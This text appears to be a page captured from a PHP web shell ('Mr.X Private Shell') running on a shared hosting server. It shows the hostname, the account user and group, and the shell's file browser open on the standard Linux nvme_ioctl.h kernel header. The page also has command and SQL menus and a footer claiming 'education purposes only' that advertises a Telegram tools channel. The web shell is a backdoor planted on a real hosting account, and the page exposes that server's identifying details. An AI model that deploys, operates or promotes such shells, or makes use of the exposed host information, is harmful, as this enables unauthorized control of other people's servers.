Uname: Linux 50-6-4-53.bluehost.com 5.14.0-611.41.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 19 03:50:11 EDT 2026 x86_64
User: 1011 (dccreditrepairto)
Group: 1010 (dccreditrepairto)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//usr/include/linux      ( Reset | Go to )
File Name: nvme_ioctl.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
/*
 * Definitions for the NVM Express ioctl interface
 * Copyright (c) 2011-2014, Intel Corporation.
 */

#ifndef _LINUX_NVME_IOCTL_H
#define _LINUX_NVME_IOCTL_H

#include <linux/types.h>

struct nvme_user_io {
    __u8    opcode;
    __u8    flags;
    __u16    control;
    __u16    nblocks;
    __u16    rsvd;
    __u64    metadata;
    __u64    addr;
    __u64    slba;
    __u32    dsmgmt;
    __u32    reftag;
    __u16    apptag;
    __u16    appmask;
};

struct nvme_passthru_cmd {
    __u8    opcode;
    __u8    flags;
    __u16    rsvd1;
    __u32    nsid;
    __u32    cdw2;
    __u32    cdw3;
    __u64    metadata;
    __u64    addr;
    __u32    metadata_len;
    __u32    data_len;
    __u32    cdw10;
    __u32    cdw11;
    __u32    cdw12;
    __u32    cdw13;
    __u32    cdw14;
    __u32    cdw15;
    __u32    timeout_ms;
    __u32    result;
};

struct nvme_passthru_cmd64 {
    __u8    opcode;
    __u8    flags;
    __u16    rsvd1;
    __u32    nsid;
    __u32    cdw2;
    __u32    cdw3;
    __u64    metadata;
    __u64    addr;
    __u32    metadata_len;
    union {
        __u32    data_len; /* for non-vectored io */
        __u32    vec_cnt; /* for vectored io */
    };
    __u32    cdw10;
    __u32    cdw11;
    __u32    cdw12;
    __u32    cdw13;
    __u32    cdw14;
    __u32    cdw15;
    __u32    timeout_ms;
    __u32   rsvd2;
    __u64    result;
};

/* same as struct nvme_passthru_cmd64, minus the 8b result field */
struct nvme_uring_cmd {
    __u8    opcode;
    __u8    flags;
    __u16    rsvd1;
    __u32    nsid;
    __u32    cdw2;
    __u32    cdw3;
    __u64    metadata;
    __u64    addr;
    __u32    metadata_len;
    __u32    data_len;
    __u32    cdw10;
    __u32    cdw11;
    __u32    cdw12;
    __u32    cdw13;
    __u32    cdw14;
    __u32    cdw15;
    __u32    timeout_ms;
    __u32   rsvd2;
};

#define nvme_admin_cmd nvme_passthru_cmd

#define NVME_IOCTL_ID        _IO('N', 0x40)
#define NVME_IOCTL_ADMIN_CMD    _IOWR('N', 0x41, struct nvme_admin_cmd)
#define NVME_IOCTL_SUBMIT_IO    _IOW('N', 0x42, struct nvme_user_io)
#define NVME_IOCTL_IO_CMD    _IOWR('N', 0x43, struct nvme_passthru_cmd)
#define NVME_IOCTL_RESET    _IO('N', 0x44)
#define NVME_IOCTL_SUBSYS_RESET    _IO('N', 0x45)
#define NVME_IOCTL_RESCAN    _IO('N', 0x46)
#define NVME_IOCTL_ADMIN64_CMD    _IOWR('N', 0x47, struct nvme_passthru_cmd64)
#define NVME_IOCTL_IO64_CMD    _IOWR('N', 0x48, struct nvme_passthru_cmd64)
#define NVME_IOCTL_IO64_CMD_VEC    _IOWR('N', 0x49, struct nvme_passthru_cmd64)

/* io_uring async commands: */
#define NVME_URING_CMD_IO    _IOWR('N', 0x80, struct nvme_uring_cmd)
#define NVME_URING_CMD_IO_VEC    _IOWR('N', 0x81, struct nvme_uring_cmd)
#define NVME_URING_CMD_ADMIN    _IOWR('N', 0x82, struct nvme_uring_cmd)
#define NVME_URING_CMD_ADMIN_VEC _IOWR('N', 0x83, struct nvme_uring_cmd)

#endif /* _LINUX_NVME_IOCTL_H */

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL